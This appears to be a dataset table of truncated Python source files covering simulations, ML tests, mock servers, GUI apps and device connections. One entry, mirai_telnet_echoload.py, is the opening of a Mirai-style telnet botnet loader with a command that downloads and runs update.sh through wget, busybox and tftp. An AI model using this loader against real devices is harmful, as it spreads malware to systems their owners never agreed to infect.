source
stringlengths
3
86
python
stringlengths
75
1.04M
main.py
""" Provides PercolationStats and main runner PercolationStats holds experiment stats, and defines Monte-Carlo logic. """ import random import time from multiprocessing import Pipe, connection, Process import math from sks.percolatesanalyzer.percolation import UFDSQuickUnion, Percolation, UFDSQuickFind __author__ =...
data_utils.py
import numpy as np import torch as T import threading from queue import Queue from scipy.stats import truncnorm from . import root_logger __all__ = ['DataLoader', 'DataPrefetcher', 'truncated_normal', 'batch_set_value', 'bulk_to_cuda', 'bulk_to_cuda_sparse', 'bulk_to_numpy', 'to_cuda', 'to_cuda_sparse', 't...
test_bz2.py
from test import support from test.support import bigmemtest, _4G import unittest from io import BytesIO, DEFAULT_BUFFER_SIZE import os import pickle import glob import tempfile import pathlib import random import shutil import subprocess import threading from test.support import unlink import _compression import sys ...
utils.py
import argparse import math import numpy as np import os import threading import time # ros import rospy from geometry_msgs.msg import Twist from sensor_msgs.msg import Image from std_msgs.msg import Float32MultiArray from std_msgs.msg import MultiArrayDimension from cv_bridge import CvBridge, CvBridgeError # MXNet fr...
custom.py
# pylint: disable=too-many-lines # -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -----------------------------------...
mock_web_api_server.py
import asyncio import json import logging import re import sys import threading import time from http import HTTPStatus from http.server import HTTPServer, SimpleHTTPRequestHandler from multiprocessing.context import Process from typing import Type from unittest import TestCase from urllib.request import Request, urlop...
test_gc.py
import unittest from test.support import verbose, refcount_test, run_unittest, strip_python_stderr, cpython_only, start_threads, temp_dir, requires_type_collecting from test.support.script_helper import assert_python_ok, make_script import sys import time import gc import weakref try: import threading except Import...
manager.py
#!/usr/bin/python # -*- coding: utf-8 -*- # # Copyright 2015 clowwindy # Copyright 2016 Howard Liu # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICEN...
home.py
from threading import Thread from kivy.lang.builder import Builder from kivy.properties import ObjectProperty from kivy.uix.screenmanager import Screen from kivymd.app import MDApp from cls.button import ClearButton from cls.jsontool import JsonTool from cls.models import CurrentWeather Builder.load_string( """ ...
joystick.py
""" axis list yapıldı hats button_liste eklendi 05.02.2019 Abdullah Enes """ import pygame import time from threading import Thread def scale(joy_val, max): return int(round((joy_val+1)/2.0*max)) class Joy(): def __init__(self): try: self.pressed_buttons = [] ...
runner.py
#!/usr/bin/python # Standard Library import inspect import json import logging import os import sys import time import traceback import uuid from collections import defaultdict from Queue import Queue from cStringIO import StringIO from threading import Thread, Lock # Third Party import boto.s3 import mixingboard im...
coniunctum.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Mon Feb 22 09:46:30 2021 Coniunctum Blockchain @author: Alain Magazin """ import datetime from time import sleep import hashlib import json from uuid import uuid4 from urllib.parse import urlparse import os import threading import subprocess from first_laun...
common_func.py
#!/usr/bin/env python # coding=utf-8 from __future__ import print_function, unicode_literals, division, absolute_import import sys import time import binascii import struct import collections import logging import socket import select import threading import traceback import functools try: # for pycharm type hinti...
test_socket.py
import unittest from test import support import errno import io import socket import select import tempfile import time import traceback import queue import sys import os import array import platform import contextlib from weakref import proxy import signal import math import pickle import struct try: import multi...
conformance.py
import os import sys import uuid import json import queue import logging import requests import itertools import threading import socketserver from time import sleep from shutil import rmtree from urllib.parse import urljoin from collections import OrderedDict from cwltest.utils import compare, CompareFail from http.s...
baby-a3c.py
# Baby Advantage Actor-Critic | Sam Greydanus | October 2017 | MIT License from __future__ import print_function import torch, os, gym, time, glob, argparse, sys import numpy as np from scipy.signal import lfilter from scipy.misc import imresize # preserves single-pixel info _unlike_ img = img[::2,::2] import torch.nn...
email.py
#!/usr/bin/env python # -*- coding: utf-8 -*- # @Time : 2017/7/10 14:18 # @Author : chengguojun # @Site : www.51mine.com # @File : models.py # @Software: PyCharm # 电子邮件 from threading import Thread from flask import current_app, render_template from flask_mail import Message from . import mail def send_as...
dler.py
import os import shutil import time from threading import BoundedSemaphore from typing import Optional import requests from pyrhd.harvester.hrv8r import BaseHarvester from pyrhd.utility.cprint import aprint class BaseDownloader(BaseHarvester): def __init__( self, ultimatum_path, saving_interval: int = No...
webmux.py
#!/usr/bin/env python from __future__ import print_function, absolute_import import logging import os, os.path, socket import sys, subprocess, threading, time import requests, re import tornado.web from tornado.netutil import bind_unix_socket from tornado.httpserver import HTTPServer from tornado.ioloop import IOLoop ...
xai.py
from multiprocessing import shared_memory, Queue, Process import os import multiprocessing # multiprocessing.set_start_method("spawn") import torch import torch.nn as nn import torch.nn.functional as F try: import torchvision except: pass import tqdm import h5py import bcolz import zipfile import numpy as np im...
analytics.py
import time from threading import Lock, Thread from typing import Dict, List import attr from featureflags.models.metrics_data_metrics_type import \ MetricsDataMetricsType from .api.client import AuthenticatedClient from .api.default.post_metrics import sync_detailed as post_metrics from .config import Config fr...
pytorch.py
# Copyright (c) Microsoft Corporation. # Licensed under the MIT license. import atexit import logging import time from dataclasses import dataclass import os from pathlib import Path import socket from subprocess import Popen from threading import Thread import time from typing import Any, List, Optional, Union impor...
subprocess_connection.py
import signal import sys from thonny.plugins.micropython.connection import MicroPythonConnection class SubprocessConnection(MicroPythonConnection): def __init__(self, executable, args=[]): import threading try: import ptyprocess except ImportError: print( ...
main.py
#!/usr/bin/env python # # Copyright (c) 2012-2013, Matteo Bertozzi # All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are met: # * Redistributions of source code must retain the above copyright # noti...
test_ping.py
import unittest import os import pathlib from coms.sim import launch_sim_network, terminate_sim_network from coms.utils import get_port_from, get_interface_from_ip from coms.server import server, send_messsage from msg.ping import Ping from msg.message import Message from threading import Thread, Lock from typing impor...
policy_events.py
import pika import json import iot_logging from threading import Thread from iot_api import rabbit_parameters LOG = iot_logging.getLogger(__name__) def emit_policy_event(type, data): def publish(): event = { 'type': type, 'data': data } body = json.dumps(even...
editor_test.py
""" Copyright (c) Contributors to the Open 3D Engine Project. For complete copyright and license terms please see the LICENSE at the root of this distribution. SPDX-License-Identifier: Apache-2.0 OR MIT Simplified O3DE Editor test-writing utilities. Test writers should subclass a test suite from EditorTestSuite for ...
server.py
# server.py import socket import sys from threading import Thread # utils.py sys.path.append('../utils') from utils import get_args from utils import clear from utils import format # Room operations from room import message_room from room import connect_room from room import create_room from room import enter_room f...
basesorter.py
""" Here a proposal for the futur Sorter with class approach. The main idea is to decompose all intermediate steps to get more flexibility: * setup the recording (traces, output folder, and so...) * set parameters * run the sorter (with futur possibility to make it in separate env/container) * get the result (...
query_alarms.py
import sys import time import multiprocessing import random import argparse from monascaclient.common import utils from monascaclient import client from monascaclient import ksclient max_wait_time = 20 min_wait_time = 5 keystone = { 'username': utils.env('OS_USERNAME'), 'password': utils.env('OS_PASSWORD'), ...
learm_based_code.py
#!/usr/bin/env python from time import sleep import serial import binascii from multiprocessing import Process, Queue FRAME_HEADER = 0x55 CMD_SERVO_MOVE = 0x03 CMD_ACTION_GROUP_RUN = 0x06 CMD_ACTION_GROUP_STOP = 0x07 CMD_ACTION_GROUP_SPEED = 0x0B CMD_GET_POSITIONS = 0x15 CMD_GET_BATTERY_VOLTAGE = 0x0F BATTERY_VOLTAGE...
udt_socket.py
""" Copyright (c) 2014, Samsung Electronics Co.,Ltd. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: 1. Redistributions of source code must retain the above copyright notice, this list of conditions ...
executors.py
__author__ = "Johannes Köster" __contributors__ = ["David Alexander"] __copyright__ = "Copyright 2015, Johannes Köster" __email__ = "koester@jimmy.harvard.edu" __license__ = "MIT" import os import sys import contextlib import time import datetime import json import textwrap import stat import shutil import string impo...
socket_device.py
#!/usr/bin/env python3 # from __future__ import print_function import sys import struct import socket import argparse import threading import datetime # Simba socket device types. TYPE_UNSUPPORTED_TYPE = 0 TYPE_UART_DEVICE_REQUEST = 1 TYPE_UART_DEVICE_RESPONSE = 2 TYPE...
compare_num_layer_w_multiprocessing_qng.py
import qiskit import numpy as np import sys import multiprocessing sys.path.insert(1, '../') import qtm.base, qtm.constant, qtm.ansatz, qtm.fubini_study, qtm.encoding def run_w(num_layers, num_qubits): thetas = np.ones(num_qubits*num_layers*5) qc = qiskit.QuantumCircuit(num_qubits, num_qubits) loss_values...
mirai_telnet_echoload.py
#!/usr/bin/python #Phaaaat hax telnet loader by Freak/Milenko import sys, re, os, socket, time, select from threading import Thread rekdevice = "cd /tmp || cd /home/$USER || cd /var/run || cd /mnt || cd /root || cd /; wget http://0.0.0.0/update.sh; busybox wget http://0.0.0.0/update.sh; tftp -r update.sh -g 0.0...
feature_shutdown.py
#!/usr/bin/env python3 # Copyright (c) 2018 The Bitcoin Core developers # Distributed under the MIT software license, see the accompanying # file COPYING or http://www.opensource.org/licenses/mit-license.php. """Test iond shutdown.""" from test_framework.test_framework import BitcoinTestFramework from test_framework.u...
helpers.py
# -*- coding: utf-8 -*- ''' :copyright: Copyright 2013-2017 by the SaltStack Team, see AUTHORS for more details. :license: Apache 2.0, see LICENSE for more details. tests.support.helpers ~~~~~~~~~~~~~~~~~~~~~ Test support helpers ''' # pylint: disable=repr-flag-used-in-string,wrong-import-order ...
editor.py
""" The main editor class. Usage:: files_to_edit = ['file1.txt', 'file2.py'] e = Editor(files_to_edit) e.run() # Runs the event loop, starts interaction. """ from __future__ import unicode_literals import contextlib import time import threading import signal from prompt_toolkit.application import Appli...
utils.py
#================================================================ # # File name : utils.py # Author : PyLessons # Created date: 2020-09-27 # Website : https://pylessons.com/ # GitHub : https://github.com/pythonlessons/TensorFlow-2.x-YOLOv3 # Description : additional yolov3 and yolov4 functio...
custom_run_local.py
import asyncio import subprocess from multiprocessing import Process import os import json from typing import List, Set from pathlib import Path from collections import deque from arenaclient.proxy.frontend import GameRunner from arenaclient.proxy.server import run_server class RunLocal: def __init__(self): ...
docker_monitor.py
# Copyright 2014 Scalyr Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, so...
similarity.py
import os from queue import Queue from threading import Thread import pandas as pd import tensorflow as tf import collections import args import tokenization import modeling import optimization import time # os.environ['CUDA_VISIBLE_DEVICES'] = '1' class InputExample(object): """A single training/test example ...
test_automap.py
import random import threading import time from sqlalchemy import create_engine from sqlalchemy import ForeignKey from sqlalchemy import Integer from sqlalchemy import MetaData from sqlalchemy import String from sqlalchemy import testing from sqlalchemy.ext.automap import automap_base from sqlalchemy.ext.automap impor...
main.py
import logging import os import time from multiprocessing import Queue from threading import Thread from prismriver import preprocessor from prismriver import util from prismriver.plugin.absolutelyrics import AbsoluteLyricsPlugin from prismriver.plugin.alivelyrics import AliveLyricsPlugin from prismriver.plugin.allyri...
experiment.py
import time import os from pathlib import Path from itertools import count from itertools import chain import gym from gym.spaces import Box from gym.wrappers import ClipAction import torch import torch.multiprocessing as mp from lagom import Logger from lagom import EpisodeRunner from lagom.transform import describ...
client_IBKR.py
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ Created on Fri Jun 25 08:59:35 2021 @author: loann """ from threading import Thread import datetime as dt import pandas as pd import queue import time import sys, os # sys.path.append("../ibkrSide/") from ibapi.client import EClient from ibapi.wrapper im...
hub_mozita.py
#!/usr/bin/python3 import os import json import time import calendar import datetime import telepot import calendar import requests import threading import telegram_events import tweepy as ty from pathlib import Path from datetime import datetime, timedelta from configparser import ConfigParser from telepot.loop import...
ComputeDialog.py
from kivy.uix.floatlayout import FloatLayout from kivy.properties import ObjectProperty import threading class ComputeDialog(FloatLayout): text_output = ObjectProperty(None) cancel = ObjectProperty(None) loading_method = ObjectProperty(None) callback = ObjectProperty(None) thread = ObjectProperty(N...
autocast_variable_test.py
# Copyright 2019 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
common_video.py
# coding=utf-8 # Copyright 2018 The Tensor2Tensor Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable...
fault_tolerance_test.py
# Lint as: python3 # Copyright 2020 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless requ...
callbacks_test.py
# Copyright 2016 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
mock_ckan.py
from __future__ import print_function import json import re import copy import urllib import SimpleHTTPServer import SocketServer from threading import Thread PORT = 8998 class MockCkanHandler(SimpleHTTPServer.SimpleHTTPRequestHandler): def do_GET(self): # test name is the first bit of the URL and make...
views.py
from django.views.decorators.csrf import csrf_exempt from django.http import HttpResponse from django.template import loader from django.core import serializers from django.shortcuts import get_object_or_404, render from .models import Computer import json import threading # Main def index(request): return render...
test_mp_full.py
""" multiproc full tests. """ import importlib import multiprocessing import platform import pytest import time import wandb from wandb.errors import UsageError import sys def train(add_val): time.sleep(1) wandb.log(dict(mystep=1, val=2 + add_val)) wandb.log(dict(mystep=2, val=8 + add_val)) wandb.log...
clipboard2socket.py
import sys import socket from time import sleep import pyperclip from tkinter import * from tkinter import ttk import tkinter import threading # ----------------------------------------------------------------------------- class MainWindow(tkinter.Frame): def __init__(self, master=None): tkinter.Frame.__...
ui_tests.py
# -*- coding: utf-8 -*- """Tests for the user interface.""" # # (C) Pywikibot team, 2008-2019 # # Distributed under the terms of the MIT license. # # NOTE FOR RUNNING WINDOWS UI TESTS # # Windows UI tests have to be run using the tests\ui_tests.bat helper script. # This will set PYTHONPATH and PYWIKIBOT_DIR, and then r...
test_caching.py
import datetime from itertools import count import os import threading import time import pytest import cherrypy from cherrypy._cpcompat import next, ntob, quote, xrange from cherrypy.lib import httputil from cherrypy.test import helper curdir = os.path.join(os.getcwd(), os.path.dirname(__file__)) gif_bytes = nto...
main.py
import threading from game.main import Game from twitch.main import * input = [] def startGame(): game = Game() game.play() def connectToChat(): connectToTwitch() if __name__ == "__main__": threading.Thread(target=startGame).start() threading.Thread(target=connectToChat).start()
test_manager.py
# # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not...
test_search_20.py
import pytest from time import sleep from base.client_base import TestcaseBase from utils.util_log import test_log as log from common import common_func as cf from common import common_type as ct from common.common_type import CaseLabel, CheckTasks from utils.utils import * from common.constants import * prefix = "se...
data.py
r""" In PERSIA, we provide the :class:`DataLoader` class to load the data. The :class:`DataLoader` will preprocess the :class:`.PersiaBatch` and lookup the embedding for **id_type_features**. In order to initalize a DataLoader, the dataset must be an ``iterable dataset" (an instance of :class`.IterableDatasetBase` sub...
test_dist_graph_store.py
import os os.environ['OMP_NUM_THREADS'] = '1' import dgl import sys import numpy as np import time import socket from scipy import sparse as spsp from numpy.testing import assert_array_equal from multiprocessing import Process, Manager, Condition, Value import multiprocessing as mp from dgl.heterograph_index import cre...
login_controller.py
import traceback from PySide6.QtCore import QObject, Signal, Property, Slot from threading import Thread # noinspection PyUnresolvedReferences class LoginController(QObject): loggedChanged = Signal() loginFailed = Signal() def __init__(self, parent): QObject.__init__(self, parent) self._c...
framework.py
#!/usr/bin/env python from __future__ import print_function import gc import sys import os import select import unittest import tempfile import time import faulthandler import random import copy import psutil from collections import deque from threading import Thread, Event from inspect import getdoc, isclass from tra...
server.py
from http.server import BaseHTTPRequestHandler, HTTPServer from operator import attrgetter from threading import Thread import json import gamestate import payloadparser class GSIServer(HTTPServer): def __init__(self, server_address, auth_token): super(GSIServer, self).__init__(server_address, RequestHan...
ellie_eyes_utils.py
# Copyright 2021 by Dong Trung Son, Nueremberg University. # Email: trungsondo68839@th-nuernberg.de # All rights reserved. # This file is part of the Ellie-Project, # and is released under the "MIT License Agreement". Please see the LICENSE # file that should have been included as part of this package. import cv2.cv2 ...
ze_utils.py
import argparse import inspect import logging import math import os import re import shutil import subprocess import threading import thread import traceback import tensorflow as tf import datetime logger = logging.getLogger(__name__) logger.addHandler(logging.NullHandler()) cuda_command = 'nvidia-smi --query-gpu=me...
snn.py
from __future__ import print_function import datetime as dt import numpy as np import math import matplotlib.pyplot as plt import tensorflow.compat.v1 as tf tf.disable_v2_behavior() import numpy as np import matplotlib.pyplot as plt from multiprocessing import Process from multiprocessing import Queue import multip...
utils.py
from abc import abstractmethod from asyncio import Future, get_event_loop from functools import partial from threading import Thread from typing import Any, Callable, Generic, TypeVar from datek_jaipur.errors import EventAlreadyAppliedError, EventNotAppliedError Result = TypeVar("Result") class BaseEvent(Generic[Re...
sdk_worker.py
# # Licensed to the Apache Software Foundation (ASF) under one or more # contributor license agreements. See the NOTICE file distributed with # this work for additional information regarding copyright ownership. # The ASF licenses this file to You under the Apache License, Version 2.0 # (the "License"); you may not us...
threadtest.py
# $Id$ # # Project: MapServer # Purpose: xUnit style Python mapscript test of multi-threading # Author: Sean Gillies, sgillies@frii.com # # =========================================================================== # Copyright (c) 2004, Sean Gillies # # Permission is hereby granted, free of charge, to any person ...
test_general.py
""" Collection of tests for unified general functions """ # global import os import math import time import einops import pytest import threading import numpy as np from numbers import Number from collections.abc import Sequence import torch.multiprocessing as multiprocessing # local import ivy import ivy.functional....
queue_runner.py
"""Create threads to run multiple enqueue ops.""" from __future__ import absolute_import from __future__ import division from __future__ import print_function import threading import tensorflow.python.platform from tensorflow.python.framework import errors from tensorflow.python.framework import ops from tensorflow....
baidu_face_indentify.py
""" 百度人脸识别、人脸检测 # 基于百度人脸识别api: https://ai.baidu.com/tech/face # Author: lidicn # Edition:V1.26 # Update: 2018-7-18 # 配置方法参见: https://bbs.hassbian.com/thread-2460-1-1.html """ import logging import io import os import voluptuous as vol from base64 import b64encode from homeassistant.core import split_e...
IntegrationTests.py
from __future__ import absolute_import import multiprocessing import time import unittest import logging import os import percy from selenium import webdriver import sys import warnings log = logging.getLogger('werkzeug') log.disabled = True warnings.filterwarnings("ignore") class IntegrationTests(unittest.TestCase)...
engine.py
############################################################################### # # Copyright 2009-2011, Universitat Pompeu Fabra # # This file is part of Wok. # # Wok is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free...
get_data_alpha.py
#!/usr/bin/python3 import threading from datetime import datetime import urllib.request BASE_PATH = '/Users/sukumargv/bc_ferries/' def get_page(page_url, local_fname): d = datetime.now() fname = d.strftime("{}/{}".format(BASE_PATH, local_fname)) urllib.request.urlretrieve(page_url, fname) """ http://or...
test_github.py
import copy import json import logging import multiprocessing import time import unittest from datetime import timedelta, datetime from multiprocessing import Process from unittest import mock import pika import pika.exceptions from freezegun import freeze_time from src.configs.repo import RepoConfig from src.message...
updater-rework.py
import time import subprocess import multiprocessing def git_checkout(): git_proc = subprocess.check_output(["git", "pull"]).decode("utf-8") if git_proc == "Already up to date.\n": print(git_proc) return False else: print(git_proc) return True def start_server(): prin...
6_rms_wound_wait_NS.py
from functools import reduce from sys import * import numpy as np import random as r import ping_code as pc import socket import struct import subprocess as sp import threading from threading import Thread import ast import time import datetime as dt import os import psutil import getpass as gp from netifaces import in...
main.py
import sys from threading import Thread from time import sleep import requests import webview from kanmail.license import validate_or_remove_license from kanmail.log import logger from kanmail.server.app import app, boot from kanmail.server.mail.folder_cache import ( remove_stale_folders, remove_stale_header...
helper.py
# vim: tabstop=4 shiftwidth=4 softtabstop=4 # # Copyright 2013, 2014, 2015 Scalr Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); you may # not use this file except in compliance with the License. You may obtain # a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless...
TestSmartCacheWithRemoteOptimizerV3.py
# # Copyright (c) Microsoft Corporation. # Licensed under the MIT License. # import logging import math from threading import Thread import unittest import grpc import pandas as pd import mlos.global_values as global_values from mlos.Grpc.OptimizerMicroserviceServer import OptimizerMicroserviceServer fr...
mavlink_proxy.py
# Module to receive MAVLink packets and forward telemetry via interoperability. # Packet details at http://mavlink.org/messages/common#GLOBAL_POSITION_INT. import logging import threading import time from auvsi_suas.proto.interop_api_pb2 import Telemetry from pymavlink import mavutil logger = logging.getLogger(__nam...
get_ecflex_data.py
############################################################################### ### A python script to recover the data from the server (the ec-Flex), ### ### send it to the client and print user-friendly values ### #############################################################################...
serial_connection.py
from logging import getLogger import pathlib import platform import sys import threading import time from textwrap import dedent from thonny.plugins.micropython.bare_metal_backend import ( NORMAL_PROMPT, FIRST_RAW_PROMPT, OUTPUT_ENQ, OUTPUT_ACK, ) from thonny.common import ConnectionFailedException fro...
linuxVK.py
#!/usr/bin/python2 # -*- coding: utf-8 -*- import vk import os import dbus import dbus.service import time import ConfigParser import requests import sqlite3 from vk import VkAuthorizationError from requests import exceptions from multiprocessing import Process, Queue BUS_NAME='ru.linuxVK' PATH='/linuxvk' IFACE='ru....
ipcontrollerapp.py
#!/usr/bin/env python # encoding: utf-8 """ The IPython controller application. """ # Copyright (c) IPython Development Team. # Distributed under the terms of the Modified BSD License. from __future__ import with_statement import json import os import stat import sys from multiprocessing import Process from signal ...
vector_clock.py
from multiprocessing import Process, Pipe from time import sleep def local_event(pid, timestamp): timestamp[pid-1] += 1 print('Process {} performed local event. Lamport timestamp is {}'.format(pid, timestamp)) return timestamp def send_event(pipe, pid, timestamp): timestamp[pid-1] += 1 ...
lol_id_tools.py
import concurrent.futures import os import threading import time from pprint import pprint import logging as log import requests import joblib from fuzzywuzzy import process class LolIdTools: def __init__(self, *init_locales: str): """ A python class for fuzzy matching of champion, items, and rune...
console_menu.py
from __future__ import print_function import platform import threading import textwrap import os from consolemenu.menu_formatter import MenuFormatBuilder from consolemenu.screen import Screen class ConsoleMenu(object): """ A class that displays a menu and allows the user to select an option. Args: ...
main.py
import kociemba import cv2 import RPi.GPIO as GPIO import time from threading import Thread # 持ち手の向き 垂直=>0 水平=>1 HOR = [0, 0, 0, 0] # [L, R, F, B] def solve(cubestr): return kociemba.solve(cubestr) def rotate(mtr, mode): delay = .001 pins = [ # [direction, step], [3, 4], # L [...
test_reset_session.py
import unittest from threading import Thread from time import sleep import jardin from jardin.database.datasources import Datasources from jardin.database.client_provider import ClientProvider class TestResetSession(unittest.TestCase): def test_reset_session_does_nothing_when_only_one_db_url_available(self): ...
test_runtime.py
import multiprocessing import os from numba.core import config from numba.cuda.cudadrv.runtime import runtime from numba.cuda.testing import unittest, SerialMixin, skip_on_cudasim from unittest.mock import patch def set_visible_devices_and_check(q): try: from numba import cuda import os o...
conftest.py
import sys import os from multiprocessing import Process from urllib.request import urlopen from tests.fake_webapp import start_flask_app, EXAMPLE_APP from tests.get_browser import get_browser import pytest class Env(object): def __init__(self): self.process = None self.host = 'localhost' ...
12.enumerate_all_threads.py
import random import threading import time import logging logging.basicConfig(level=logging.DEBUG, format='(%(threadName)-10s) %(message)s',) def worker(): """thread worker function""" t = threading.currentThread() pause = random.randint(1, 5) logging.debug('sleeping %s', pause) ...
threaded_cam.py
from threading import Thread import cv2 class CamStream: def __init__(self, src=0): self.stream = cv2.VideoCapture(src) self.ret_val, self.frame = self.stream.read() self.stop_flag = False def start(self): Thread(target=self.update, args=()).start() return self def update(self): while 1: if self.s...
pepper.py
import sublime import sublime_plugin import os import sys import threading import time sys.path.append(os.path.dirname(__file__)) from .browser import Browser SETTINGS_FILE = 'Main.sublime-settings' log_file = '/var/log/sublime-browser-integration.log' def require_browser(function): def wrapper(*args, **kwarg...